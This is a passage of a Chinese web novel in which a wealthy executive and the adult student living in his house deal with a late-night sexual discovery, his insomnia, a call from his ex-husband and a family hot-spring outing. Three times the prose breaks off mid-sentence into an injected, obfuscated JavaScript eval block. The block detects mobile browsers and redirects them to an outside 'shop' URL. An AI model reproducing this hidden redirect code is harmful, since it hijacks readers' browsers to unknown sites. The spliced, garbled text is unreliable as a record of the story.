谢如珪就躺在沙发上刷新闻资讯。
川菜重油,言真没用西厨,用的是后面郑姨平常都不太用的中厨。厨房里饭菜香味不断飘出来,谢如珪渐渐地就没心思看手机了。
他被勾起食欲。他这几天陪着员工加班,吃饭都是匆匆一口,川菜的香味刺激着谢如珪的味蕾,约莫半小时后,言真端着三荤一素出来。
金汤肥牛、宫保鸡丁、火爆双脆、蒜蓉油麦菜。
色香味俱全。
“还有冬瓜圆子汤,这个还要再烧一会儿。”言真解释道,“虽然不太符合营养学,但是四川人都喜欢饭后在喝汤。”
谢如珪不太在意喝汤顺序,快手菜令他食欲大开。
他拍了张照片发到相亲相爱一家人,说是言真做的。谢母迅速回以60s的语音,假意埋怨了他几句怎么能让人家小孩做饭,接着对言真大夸特夸。
谢如珪换到外放,重新点开语音:“你听着——我原本也打算用这些话来夸奖你的。你听我妈夸也一样。”
言真就抿着嘴笑,笑出两枚小酒窝。
那他就当是谢如珪夸的了。
“对了,你买的什么玩具啊?快递箱子你看到了吗?在高尔夫球包后面。”谢如珪说,“茶几上是给你买的稻香村的点心,三禾的,你晚上复习饿了可以吃。”
“谢谢谢老师。”言真感到惊喜,“我晚上看书的时候吃。快递我吃完饭会收拾好。”
“还挺重的,要我帮你一起搬上楼吗?”
“不用,拆了就轻了,快递有一点过度包装。”
谢如珪要是知道他买的是什么会吓到的吧?
对于玩具来说,这家店包装得非常好,非常照顾顾客的隐私。
·
谢如珪原计划把前几天熬的夜这个周末好好补回来,为此,他没有喝夜茶,九点多就洗漱上床睡觉了。
裁缝铺师傅说他瘦了的事他有记在心里。他这个年纪,不能胖也不能瘦,一定要匀称。否则男人三十岁和四十岁其实没有差别,更多看状态。
他的清减其实是掉肌肉了,肌肉这个东西,稍不注意跑得比马还快。谢如珪本就是薄肌不追求肌□□积只追求线条的身材,一掉肌肉给人的感觉就像瘦了很多很多。
健身也要提上日程。
计划得好好的,谢如珪点着香薰蜡烛入睡,却再一次地在凌晨突然从梦中惊醒。
惊醒的感觉很不好受,心悸好一会儿才平静。但是谢如珪已经睡不着了。
他疲惫地捏了捏鼻梁,想起下午的心理咨询。早知道最近睡眠不好,他就应该让胡医生给他开点安眠镇定的药的。
北京冬天供暖,房间里又开着空调,谢如珪今晚依旧睡在次卧,次卧不像主卧套房里有起居室有管线机,谢如珪的喉咙干痒,只能去楼下找水喝。
一天天的,这是总裁该过的日子吗?
还是得叫专业的保洁彻底消毒一遍,他搬回主卧住比较方便。
谢如珪打着哈欠下楼,走到楼梯口时觉得不对劲。
好像……听到了细微的电流声?电子产品?什么东西在振动?
谢如珪站定,仔细地听。发现,声音好像是从言真的房间里传出来。
8. 第 8 章
周二下午,言真在课间的时候听到坐在前面的同学说,他们全宿舍都在追的博主突然爆雷了。
想来又是带金主上分但是开挂,又或者线下集资卷款跑路之类的吧?
言真不感兴趣,抓紧时间又做了两篇阅读。
快打上课铃的时候突然收到谢如珪的微信消息,说公司出了点事,今晚加班,不回家了。
言真回了个可可爱爱的表情包,说知道了,然后立刻打开微博看热搜。果然,Lvjiji就在热搜上挂着呢。
通篇看下来后,言真陷入沉默。
几个同学还在激烈讨论,其中一个瞄到言真的手机界面,忙问他也知道这个博主吗?大家惺惺相惜啊。
言真:“不知道,随便看看……你们刚刚是在讨论这个人?”
“是。”同学悲愤道,“现在的人为了捞钱真是什么事都干得出来,太恶心了。”
言真心想你们这些受众群体才荒谬,还是大学生呢,果然,搞哲学的人都很性压抑。
说起性压抑,嗯……
言真也打算购买一些硅胶玩具,不过不是娃娃。
上课铃响了,言真收起桌上的四级真题开始认真听课。四十分钟后,言真带着今天和柏拉图精神会面的成果,骑共享单车回到颐和原著。
吃饭、复习、洗漱上床。
这个年龄段,这个阶段,言真根本睡不着觉。
期末周,上课与考试穿插,余下的时间要为了绩点和下一学年的奖学金好好复习。
古往今来的所有哲学家在言真的脑子里开会。
黑格尔让他多思考,马克思指导他进行实践。
言真从床上坐起来,迈出实践的第一步——购物。
搞哲学的人都很性压抑,言真不能免俗。
好在他还有一个心理学学位,知道压抑就要释放,释放会得到满足。从和自己的身体产生链接开始。
·
玩具是周五到的。
吃完晚饭,谢如珪叫言真不用收拾碗筷,留着等明天郑姨来洗就好了。言真嘴上应着,等他一上楼就手脚麻利地收拾了,接着回到房间复习。
勤能补拙,不够聪明的言真必须加倍地努力,私下比别人更用功,才能和天才们在同一起跑线。
他保持着高中时候的习惯,一直学到晚上十二点半才放下课本。
“真是,远视储备都要用完了……”少年一边抱怨,一边默数着节拍,做眼保健操。
眼保健操有没有效果言真不知道,心理作用反正是有的。
学习完,自然要奖励自己。
这个点,谢如珪肯定睡了,言真下楼,拿他周二晚上买的玩具——自我探索的实践工具。
……
热水淋到身上的时候,言真的小腹还在抽搐。
他手撑在大理石墙砖上,闭着眼睛又缓了一会儿,不应期才彻底结束。
刚刚也是这样,失神了好久,冷到打了两个喷嚏才回过神来,意识到,必须去洗一个热水澡。
洗掉胸膛上已然是半透明的硬壳。
他故意把水温调得很高,皮肤被烫得粉红粉红的,想着这样应该不会感冒。结果从雾气蒸腾的浴室里出来后又打了一连串的喷嚏。
言真无奈,只好先把头发先吹干,然后去楼下找找有没有感冒药。
熟悉的半夜,熟悉的岛台,和熟悉的正在喝冰水的谢如珪。这次没有背对他。
“谢老师。”依旧是言真先打招呼,“没睡觉吗?”
他顺手打开餐厅的灯。
“半夜醒了。”谢如珪回答道,“口渴,下来喝口水。”
言真点点头,去直饮机接了两杯热水,走过来递给谢如珪。
两人对视的时候,男人眼神闪躲了一下,小幅度地侧开脸。在言真看来却很明显。
言真眯起眼睛。
他注意到,谢如珪的脸上有淡淡的红晕,神色看起来特别不自然。
言真突然福至心灵。
他和谢如珪聊:“谢老师,你不好奇我怎么也下来了吗?”
谢如珪问:“你怎么也下来了?也失眠?学习压力太大了?”
言真摇摇头:“我下来找感冒药,我好像有点感冒。”
谢如珪:“感冒药我记得就在岛台下面,等我找找。”
他把抽屉逐个拉开,果然在第二排的左边那格里找到了感冒药,递给言真。
言真接过,看了眼说明书,拆开摁出几粒胶囊。
“谢老师,我看你脸有点红,你是不是也感冒了?”说着,他突然伸手,用手背贴了贴谢如珪的额头,又快速收回手,和自己的额温做对比,“奇怪,不烫呀。”
谢如珪觉得好笑:“没有感冒。你突然伸手吓了我一跳。”
他端起杯子,抿了口热水。
“可是没有感冒的话,你的脸为什么这么红?要不然还是喝一包冲剂预防一下吧?”
“真的没有。小言,你怎么小小年纪就染上老一辈喜欢叫人喝中成药预防的毛病了?”
“可是……”
“可能是水蒸气熏的吧。”
直饮机可以出恒定温度的热水,谢如珪猜言真摁的是85℃而不是60℃。
有点烫,他轻轻吹了吹。
“可是你刚刚喝的是冰水。”少年俏皮地弹了弹玻璃瓶,“谢老师,冰水没有水蒸气哦。”
谢如珪:“……”
他轻轻放下杯子。
少年依旧是那副天真的、调皮的、戏谑的表情,问谢如珪:“谢老师,你下楼的时候有从我的房间门口经过吗?你其实知道我为什么感冒吧?”
“……”
谢如珪终于有点感冒的前奏了。
他有点头痛。
·
一如既往的夜谈。
今晚没有下雪,少了一点氛围感。为此,谢如珪把壁炉打开了。壁炉是真壁炉,高端品牌的,一套做下来十几万,只在搬进颐和原著的第一天打开过。
放了好几年的木柴含水率低,很容易燃烧。壁炉里响起噼里啪啦的燃烧声,谢如珪这才坐回沙发。
现在有氛围感了。谢如珪看向言真,斟酌了一下,决定,还是用疑问句——虽然他也不知道大半夜的他们有什么必要坐在沙发
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592270|187401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上谈论这个奇怪的话题。
“你刚刚……”
“嗯。”
“……”
“就是你想的那样,我在做的事情。”
谢如珪再次陷入沉默。
他觉得他对言真的了解还是太片面了。
半晌,他忍不住捏了捏鼻梁。言真不尴尬,尴尬的就是他。他的确从言真的房间门口路过,听到了细微的的电流声。持续稳定,很长时间。
这栋别墅里没住过客人,谢如珪也是刚知道竟然这么不隔音。
少年的喘息和闷哼,比马达振动产生的白噪音还要明显。
突然某一刻不再压抑了,带了颤,谢如珪猛地回过神来,匆匆走下楼。
他本来是要喝水的,对,下楼找水喝。
不小心听到的动静,让成年人产生诸多联想。这些联想是不道德也不应该的。还好是夜晚,没有人知道。谢如珪捏着瓶子慢慢喝,指尖都冻红了,没上楼。
他也不知道为什么不上楼。
过了一会儿,他听到楼上开门的动静,言真下来了,从领口露出来的皮肤很红,头发也蓬,大概是洗过澡。
哪怕所有的都在佐证确实如他所想的一样,但在言真主动提起并且大大方方地承认后,谢如珪还是尴尬得无以复加。
最后只能生硬地说:“你药效上来了吗?要不要……”
“没有上来。”言真打断他,“不说我了,谢老师,来说说你吧。你是不是有一点睡眠障碍?你有和胡医生说你睡眠方面的问题吗?”
谢如珪心想他现在什么也不想说。
但是言真今晚有一点……嗯,谢如珪说不上来的感觉。这一刻,谢如珪非常想了解一下,现在国内的性教育普及到什么程度了?现在的孩子谈起性这么坦荡,一点也不回避?
显得他像一个老古董。
十三岁的年龄差,谢如珪教过言真——尽管他自己对此毫无印象了。托大一点,他算是言真的师长,可是严格来说十三岁的年龄差言真应该叫他哥哥而非叔叔。
怎么好像变成了言真在引导自己性教育?奇怪的氛围。
明明是言真的青春期问题,再拒绝好像他在刻意回避一样。
谢如珪于是接受了新话题。
“没有,我也在后悔没有让他给我开一点安眠药。”谢如珪说道,“可能是前两天熬夜加班的后遗症吧,睡着睡着突然惊醒了。”
言真像一个真正的医生一样引导他继续说:“惊醒?有做梦吗?梦到什么了?”
的确做了光怪陆离的梦。谢如珪仔细回忆。
他记得一点,好像是梦到了十几年前在四川的山区支教的时光,真是难以磨灭的美好回忆啊。他梦到了那天……
言真仔细观察谢如珪的神态。
男人的目光微微向下,眼睛快速地眨动,身体后仰,双臂交叉。他在下意识地防备。
和下午,胡德正给他回电话时,描述的一模一样。
谢如珪说:“对了,作为长辈还是得问一下,言真,那个快递……你没有买奇怪的玩具吧?我指的是Lvjiji上热搜的那种玩具。”
9. 第 9 章
好生硬的转移话题。言真心下叹息。
谢如珪抗拒的姿态太明显了,哪怕现在强行转移话题也不看他的眼睛。明明刚刚那么性压抑,现在又可以聊“小辈”的玩具了?
所以到底是梦到了什么那么难以启齿?
言真不敢追问。
他呈现给谢如珪一个谢如珪喜欢的“言真”,然而他本人对谢如珪的了解其实少之又少。从四川到北京、从贫穷到富裕——这是一条很长很长的路,言真至今也没有走完。
谢如珪好像还是他记忆中的样子,又和报纸、社媒上的商人形象吻合。他是复杂的、立体的。
是言真好不容易才摸到一点的人生的锚点。
是了,他们还没有建立更深层次的信任,谢如珪抗拒也正常。
下午他就和胡德正商量好了,谢如珪的心理咨询需要他们共同来推进。这在心理治疗中非常常见,很多心理医生会和患者的父母、伴侣、子女沟通,双管齐下。
不着急。言真告诉自己。
这才多长时间啊?只要谢如珪情绪正常,他无所谓等待。他本来就追逐了很久了,有的是耐心。
“Lvjiji上热搜了?”少年脑袋歪了歪,“是联名周边吗?高达?”
“你没看微博?对,考试周,你忙着复习。”男人把头发揉得乱蓬蓬的,“就是硅……算了,我都不好意思说,公司出这种乌龙,我快被朋友圈笑死了。”
言真莞尔:“那我白天自己搜来看。”
言真似乎是真的不知道硅胶娃娃事变,看来买的是别的玩具。谢如珪发散思维,又迅速叫停。
他问言真是为了转移话题,不谈论自己的事。不代表他作为一个长辈真的对小孩的隐私感兴趣。
“反正不要乱买奇怪的东西。”他说,“你才刚成年,社会很复杂诱惑很多,要好好学习。”
言真乖乖点头,一句话也不为自己辩解。
谢如珪又觉得自己是不是话太多了?人在任何年龄段都不喜欢被人说教。言真已经很乖了,连郑姨都夸他读书很用功。
正纠结要不要找补一下的时候,对面沙发上坐得规规矩矩的少年打了个哈欠,小声道:“药效好像上来了。谢老师,你困吗?”
墙上的古董西洋吊钟显示现在是凌晨两点多,谢如珪九点多就睡了,睡了三四个小时然后惊醒。
这个时间就很尴尬,熬到早上白天必困,继续睡的话又睡不着了。
言真又道:“要不要褪黑素?我房间里有褪黑素,可以吃两粒调整一下作息。”
谢如珪:“好。”他知道褪黑素,偶尔去国外出差的时候助理会给他带。他自己是不常吃的,家里就没有备。
两人一前一后上楼。
北京光污染严重,四环的别墅区也不例外。有环境光,言真没开灯,径直走到书桌前翻找。他没关门,谢如珪没多想,懒懒地跟进去,站在他后面一点。
书桌上乱七八糟的摆了很多书,很多是翻开倒扣着的,显然是真的学了不是装的样子。很快,言真找到了褪黑素,转身让谢如珪摊开手,给他两粒。
解释道:“褪黑素也要吃符合自己身体情况的剂量的,谢老师,今天先给你两粒,睡眠问题的话还是要问问医生怎么开药。”
谢如珪应了一声。
本来这个夜晚就该结束了,好巧不巧的,谢如珪余光瞄到言真的被子掉到地上了。他正好站在床尾,顺手把掉下来的捞了上去。
他就不该多管闲事,不,他就应该站在外面等的。
黑的、紫的、粉的,大的、更大的、U形的……
现在好了,他知道言真买的是什么玩具了。
谢如珪假装没看见凌乱的床单上散落的玩具,迅速逃到次卧。
褪黑素是小熊软糖模样的,葡萄味,甜甜的。
谢如珪咀嚼的时候才发现,他心跳真的好快。
呼——
·
翌日,两人双双睡到临近中午才起床。
所谓性压抑就是,明明昨晚聊过那么过火的话题,一觉睡醒之后又恢复到无事发生的状态。谢如珪压抑,他也压抑。啧。
言真下楼的时候,谢如珪已经和郑姨聊了一会儿了。郑姨估计是知道谢如珪已经和沈恪离婚的事,这些天言真从来没听她提起过沈恪。
“小言睡醒了?快来,郑姨给你盛碗汤。”郑姨听谢如珪说昨晚是言真给他做的饭,心里对这个孩子愈发喜欢了,“考试呀很费脑子的,就是要多喝点汤补充营养。”
谢如珪也在喝汤,言真在二楼就闻到香味了。郑姨把冰箱里的鲜菌子和火腿一起,熬了一锅看着黑乎乎,喝一口能把人舌头都鲜掉的汤。
言真:“好喝!”
他不用勺子了,直接端着碗喝。
谢如珪和郑姨哈哈大笑。
郑姨一直保留着在谢家的时候不上桌子的习惯,每次都给自己单独盛出来一份,倒是不耽误她坐在岛台上吃饭,和坐在餐桌上的两人聊天。
谢如珪问言真还有几天考完,言真说只剩两门了,周三就能考完,但是课要上到周五京大才放假。
又问了言真兼职的情况,言真说已经找到了,就在附近的咖啡厅,时薪三十一。
“先生,你老问小孩学习工作人家有压力的呀。”郑姨不赞同道。
“好好好,不问学习了。”谢如珪赶紧打住。
郑姨就说:“要多出去玩,散散心,保持好的心态,考试才能超常发挥。”
“正要带他出去玩。”谢如珪问言真,“有没有什么爱吃的?告诉郑姨,一会儿我们好带出门。”
言真眨了眨眼睛,出去玩?
“谢老师,你要带我出去玩吗?”他眼睛亮晶晶的。
“嗯,你今天没别的事吧?没别的事就出去玩,明晚回来再复习。”谢如珪说,“今天是我们家的家庭日,我有一只萨摩耶,叫黑大帅,是我和我弟弟一起养的。”
说到这里,他停顿了一下,在言真惊讶的目光中很不优雅地撇了撇嘴,继续说道:“它年纪大了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592271|187401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得了老年痴呆,现在只记得我弟弟了,就跟着他养老。我们家每个月都有一天家庭日全家带着它一起出去玩。我妈让我把你带上。”
家庭日全家带狗狗出行。听起来是非常幸福的家庭。
言真不好意思道:“没有什么想吃的,但是想去。”
谢如珪:“好,那就路上买点。”
郑姨催他们:“快点吃吧,吃完了好早点过去玩。你们不在家我正好找人做个大扫除。”
言真问谢如珪需不需要带什么,谢如珪让他带好充电器就行。别的什么都不用带,缺什么到时候直接买就是了。
言真这才知道,他们要去的是一家宠物友好的汤泉,要住到明天下午才回来。
“我没有泳裤。”言真说。其实他还不会游泳。
“所以我才说缺什么到时候再买。”谢如珪笑眯眯地说道,“去吧,去收拾一下,我在客厅坐着等你。”
显然他早就收拾好了。
言真点点头,上楼收拾东西。谢如珪游刃有余地安排他的时候,他觉得谢如珪真的特别帅特别有男人味。
这种成熟男人的魅力与外貌无关,和谈吐、气度有关。
帅得言真想再听一遍录音。
他按照谢如珪说的,只带了证件和充电器,以及换洗的内衣,背着空荡荡的印有京大logo的背包下来。
谢如珪对言真的造型大加赞赏:“非常好,这个包,我带你出门太有面子了。就该这样!”
言真今天穿的是他给他新买的白色羽绒服,配一条牛仔裤、工装靴。蓝白的配色使他看起来愈发的青春活泼。那天试衣服的时候谢如珪就发现,言真真的非常适合穿白色的衣服。
像糯米团子、汤圆之类的,总之很怪。
“哎呀等一下,我去拿剪刀给他剪一下吊牌。”郑姨眼尖地发现吊牌还没剪,赶紧拦住正要出门二人。
谢如珪日常有司机接送他上下班,工作日一般坐劳斯莱斯幻影。他有很多工作是必须在上下班过程中处理的,坐轿车会更加专注。
家庭行程,谢如珪自己开车,自然是开他最喜欢的阿斯顿·马丁拉贡达Taraf。
目的地在康熙行宫附近,离市区不算太远。言真看到谢如珪突然下了高架,还以为前面堵车。
谢如珪:“我让助理帮我订了东西,就在前面那个商场,一会儿我停在门口,你下去拿一下吧。单独停一次车太麻烦了。”
言真:“好。”
谢如珪告诉他店名,言真看到店员已经提着礼盒等在门口了,赶紧下去拿。
商场门口只能临停两分钟,谢如珪便没熄火,注意着言真那边顺不顺利。
正好有电话打进来,他以为是家人问他出发了没,顺手接了。
沈恪的声音通过蓝牙,在车内360度全景环绕:
“如珪,学校的青年教师培训项目,你撤资了?”
大白天的,怎么就突然见鬼了呢?
谢如珪掐指一算,想起来,今天是沈恪的头七。
10. 第 10 章
“是啊,是我撤的。”
“你为什么要这么做?你知不知道这个项目对我来说有多……”
“沈恪。”谢如珪打断他,“我脾气太好了是不是?”
那边立刻噤声。
谢如珪很少和人说重话,他的出身、他的涵养、他所受到的教育都不允许他面红耳赤地和人争吵。哪怕是18年Lvjiji在美国上市后,遭到国外传统长视频网站的抱团排挤,想做空它。
谢如珪也能和人坐下来,喝着茶,笑着把生意谈了。
沈恪也是。从前谢如珪最欣赏他身上文人的气度,沈恪身上有种出身寒门但不卑不亢的自尊,他们在某些地方非常相似。怎么为一点事情突然大喊大叫起来了?
太难看了。
——同样的话谢如珪没有说第二遍。他大概是轻轻哼了一声,足够叫人明白他的意思。
沈恪的喘气更加粗重,强压着愤怒不敢发作。
“好了,别再给我打电话了。再也不见。”
说完,谢如珪抬手挂了电话。
车内暖气开得足,容易乏,谢如珪闭着眼睛揉太阳穴,总觉得昨晚惊醒后的那种疲惫感卷土重来。
“笃笃——”
谢如珪猛地睁开眼睛。
言真提着礼盒站在外面,示意他车门锁了。谢如珪反应过来后,赶紧解锁。
言真这才绕到另一边,从副驾驶进来。
“刚刚在想事情,没注意,车门自动落锁了。”他解释道。
“嗯。”言真嗯了一声,探身把礼盒放到后座,“谢老师,咱们得赶紧开出去。刚刚保安过来赶人,还是店员帮着拦了一下。”
谢如珪打方向盘。
他觉得自己这会儿反应有点迟钝是因为车内太暖和了的原因,就把车窗露了条缝,问言真这样冷不冷?
言真说不冷,谢如珪在开车,保持清醒的状态更重要。
他把羽绒服的领子拉到顶,半张脸埋进去,露出又黑又亮的眼睛弯弯地笑着。言真是上平下圆的内双,睫毛浓密而下垂,皮肤白净,脸上一颗痣也没有。
这样的长相,谢如珪除了清纯、青春,再找不到别的更贴切的形容词了。哪怕再过十年看起来还是像学生吧?
“说点什么。”谢如珪说,“冬天开车好乏呀。”
“好呀。”言真想了想说,“我想想……给你分享一首我最近学到的诗吧。”
——那么你在哪里?
——还有谁在?
——说了什么?
——为什么整个的爱意突然降临在我身上?
——而我却觉得你很遥远,并且充满悲伤?[1]
“什么?”谢如珪一下没反应过来,又或者说还没准备好被分享诗歌。言真都念完,停顿了好几秒了,他才意识到那是一首诗,“你刚刚……等等,我有点语无伦次。这是一首诗?”
“嗯。”言真肯定地点点头,“这是一首诗,叫《我们甚至失去了这个黄昏》,诗人是诺贝尔文学奖获得者,巴勃罗·聂鲁达。谢老师,真的有这首诗。我只念了其中一段。”
言真就是故意的。
少年看了眼中控,上面显示的电话号码。哼。
“这也能得诺贝尔文学奖。”谢如珪还是不信,“这也太直白了吧。你跟我说说,这首诗表达的是什么?”
言真:“唔,听起来直白是因为原文是西班牙语。这是我选修课学到的,学的英文版,我自己翻成中文。可能是翻译水平的问题吧。”
“这是一首地下恋情中,对不可言说的关系的猜疑感和距离感的痛诉。”言真又用英文把这首诗完整地背了一遍,“……以上。诗的名字暗指了这段关系无法见光。”
“你英语挺好的。”谢如珪真诚道,“朗诵得非常有感情,弥补了口音上的不足。我说真的。我要起鸡皮疙瘩了。”
岂止,简直头皮发麻。
言真好像突然变了个人似的,语气哀怨的,谢如珪觉得他要是去当话剧演员也能有出息。
“哈哈。”言真笑了笑,“是嘛。”
谢如珪:“嗯……挺有意思的一首诗。”
既然聊到英语,谢如珪顺便问了问言真四六级准备得怎么样。言真说他一直在做题。
谢如珪想起来他要考研,还提了嘴,空的时候,可以陪他做口语练习。
汤泉就在京郊,没一会儿就开到了。
·
他们居然是最早到的。
汤泉就建在康熙行宫旁边,不过并非中式园景,而是日式风格。是谢如珪的大姐谢梦娆订的。
她订了这家店风景、设施最好的一个小四合院,小四合院一共有四个房间,一个客厅,是内外双汤的。内外双汤的意思就是除了小四合院的公共庭院里有一个大的温泉,每个房间的后院里分别还有一个小的。
一房一汤保证隐私,毕竟有三对夫妻。
“三对夫妻?”
“对。我弟弟的爱人这次也来了。”谢如珪说,“晚上你和我一个房间没问题吧?正好有一间标间。”
谢如珪自然得好像他没有接连两次撞破言真口口,还听见言真大大方方承认一样。都压抑成什么样了谢老师。言真想。
“没问题。”言真提议,“狗狗……黑大帅,是叫这个名字吧?它晚上和我们一起睡吧。”
谢如珪眼睛一亮:“你提醒我了。”
两人先到标间把东西放下。小汤山温泉属于天然温泉,谢家大姐订的这家地理位置好,不用锅炉房偷偷烧热水也能二十四小时保持四十多度。
雾气蒸腾,像回到了秋天一样。他们俩都把外套脱了,只穿一件毛衣。
“晚上要是下雪的话就漂亮了。”谢如珪说。
言真点点头:“我会期待的。”
院外响起汽车声,两人慢悠悠地出去,谢父谢母、谢梦娆一家和谢如璋一家都到了。
大家简单打过招呼,言真一眼看见被一个漂亮男人牵着的黑色萨摩耶。漂亮男人是谢如璋的伴侣徐微,很爱笑,看着很亲和,很容易让人心生好感。
言真和他是第一次见。
“你要牵一会儿吗?”徐微主动说,“它很乖的。”
“好。”言真从他手上接过牵引绳。
谢父下车的时候脸色不太好,一下车就让谢如珪和他进去,他有话要问谢如珪。谢如珪跟着走了。
大姐谢梦娆性格开朗,见状,忙打圆场,让言真跟他们玩,他们在外面院子里嗑嗑瓜子聊聊天。
言真应下,猜到恐怕谢父要和谢如珪谈的事不太愉快,大家主动避着,更不能让他一个小辈听见。对此言真有一点想法,不过现下,最要紧的是黑大帅。
作为一只罕见的黑色萨摩耶,黑大帅黑得不太彻底,不知道是不是上了年纪的原因,它的毛发灰扑扑的,还带了点儿蓝,和英短蓝猫一个色儿。
看着……也确实是老年痴呆的样子,怎么看怎么不聪明。
“它多大了?”言真问。
“十二岁了。”说话的是谢如璋,“是你谢老师从山区支教回来养的。必须强调一下,虽然是他花钱买的,但是大多数时候是我在遛狗。”
“所以黑大帅现在只认得你。”姐夫梁正谦悻悻道,“刚刚还冲我叫呢。笨。”
谢梦娆怼他:“黑大帅没痴呆的时候也不喜欢你。”
“它是老年痴呆不是痴呆,这两个有本质的区别。阿尔茨海默知道吗?它不笨。”谢如璋横眉冷对道。
徐微好笑地拍了拍他的手臂,帮着说话:“黑大帅确实不笨,它聪明着呢,快看。”
众人顺着他的目光看去,不知什么时候,牵着狗的言真已经落到了最后面。大家都走到中庭了,他还站在门口。
黑色的萨摩耶像一座山一样,一屁股坐在地上,看着他,也不叫,也不吐舌头,浑浊的狗狗眼目光炯炯地看着少年,就不走。
无论是言真轻轻扯牵引绳,还是好说歹说哄它,黑大帅就不走。
最后言真没办法了,只好蹲下来抱它。
被人抱着走,萨摩耶终于耶了,裂开嘴筒子笑,还伸出舌头舔言真的脸。
谢如璋一脸“这傻狗没眼看”的表情,其他人则哄堂大笑。
托黑大帅的福,言真很快就和谢家人搞好了关系。
·
回标间洗把脸的工夫,言真把谢如珪买的礼盒也拿出来了。
许是为了应景,谢如珪让助理订的日式点心礼盒,一共三层,有一层是特意交代了店员用狗狗可食的奶油做的大福。
徐微掰开大福喂黑大帅,一边和言真搭话:“我那有滚筒,一会儿拿给你粘粘毛。”又道,“黑色萨摩耶的毛质好像和普通萨摩耶不太一样,黑大帅其实不怎么掉毛。”
“好,谢谢。确实不怎么掉毛,比起普通的狗狗来说好多了。”他顿了顿,“有点像……”
“有点像老棉袄,破旧毡毛但保暖。你想说这个对吧?”徐微小声说道,“我也觉得,但是不能让他们兄弟俩听到了。”
言真先是先是一愣,然后跟着他笑。莫名的,他在徐微身上感受到一种同类人的感觉。
“老棉袄。”他揉了揉黑大帅硕大的狗头。
黑大帅吃饱喝足后,自己跑到温泉台阶上趴着不动了,谢家人天南海北地聊天,大概是为了照顾言真和徐微,聊得都是些有趣的话题。
没一会儿,谢如璋回来了,说他去私汤的厨房看了,觉得菜色一般。徐微打开手机试了试说可以点到盒马,和谢母商量着,买了点菜,晚上叫私汤的厨师做。
言真看着徐微自然地和每一个家庭成员互动,肃然起敬。他要学的还很多。
又过了一会儿,谢如珪和谢父谈完了,两人一前一后走出来。
谢如珪脸上表情淡淡的,似乎心情不是很好的样子,也不过来聊天,跑去和黑大帅玩儿。
还约言真出去散会儿步。
“肥狗,再不多走走要胖死了。”他强行把黑大帅弄走了。
言真赶紧跟上去。
小汤山叫山,实际上连丘都算不上,地面实际高度仅有二十米,各个温泉酒店交
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592272|187401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
错坐落着。周围视线无遮挡,风景非常好。
走了一会儿,谢如珪的心情肉眼可见地变好,他抬起胳膊放松地抻了个懒腰,看起来没那么郁闷了。
“秋天来的话还会更美。”谢如珪说,“路上会有很多红叶。北京也就秋天还不错了。”
黑大帅是老年犬,走得慢,两人都没穿外套,不敢离温泉太远,实际上就是在周围走了走。
两人站在一棵迎客松旁边等黑大帅尿尿。黑大帅尿完,不挨着谢如珪,过来蹭言真的小腿。
“它什么意思?”言真问。
“跟你好,要你抱它的意思。”谢如珪笑着说,“叫你一起散步是因为我抱不动肥狗。”
言真:“……”
言真:“谢老师好坏。”
谢如珪哈哈大笑。
散步十分钟,回去半小时。黑大帅的养老生活安逸,本来就有点体重超标,它还屡次伸舌头要舔言真。言真为了躲它好几次差点摔倒,谢如珪就从后面扶着言真的背。
再回到小四合院的时候,言真汗都出来了。
谢如璋看到这一幕,评价道:“你没有担当,所以黑大帅才不认识你了。”
听得谢如珪勃然大怒,让他跟自己到一边说话。
“我们先进去,不管他们。”徐微拉着言真进去。
天色将晚,温泉冒出的白色水蒸气在幽蓝的夜幕下更加明显。小汤山作为北京人周末常去的度假胜地,环境不可谓不好。好几只叫不出名字的鸟飞到庭院的石桌上啄食桌上的残渣。
“是你告的状吧。”谢如珪开门见山道,“爸爸知道我和沈恪离婚的事了。”
谢如璋没吭声。
“撤资也是你撤的吧?”谢如珪轻轻哼了一声,“那个蠢货……”
谢家主营房地产、旅游开发等项目,公司名字叫荣鼎集团,从谢如珪的爷爷那辈就起家了。
去年年初,同样是百大up主颁奖盛典前后,沈恪有次不经意地说,学校有几个出国交流、深造的名额,不过都给了理科方面有实验项目在手的老师,没他们马院的份。
谢如珪花钱向来大方,再说这又不是抢别人的名额,他花点钱添一个——他甚至能添好几个。没有人利益受损,为什么不做?
不过他用的是荣鼎的名义。
无它,Lvjiji作为一家娱乐性质的传媒公司,公益项目主要集中在影视、传媒学院。京大作为国内顶尖的综合性大学,要做公益不如让知名度更广,风口浪尖位置上的荣鼎来做。
沈恪达成目的,再没有别的表示,也不过问后续。他知道就没有谢如珪办不成的事。具体怎么办?他一个文人自然不能和商人同流合污了。
彼时谢如珪尚未看清这一点。又或者说,他当时并不在意。他给弟弟谢如璋打了个电话,荣鼎在谢父半退休后一直是他在管。
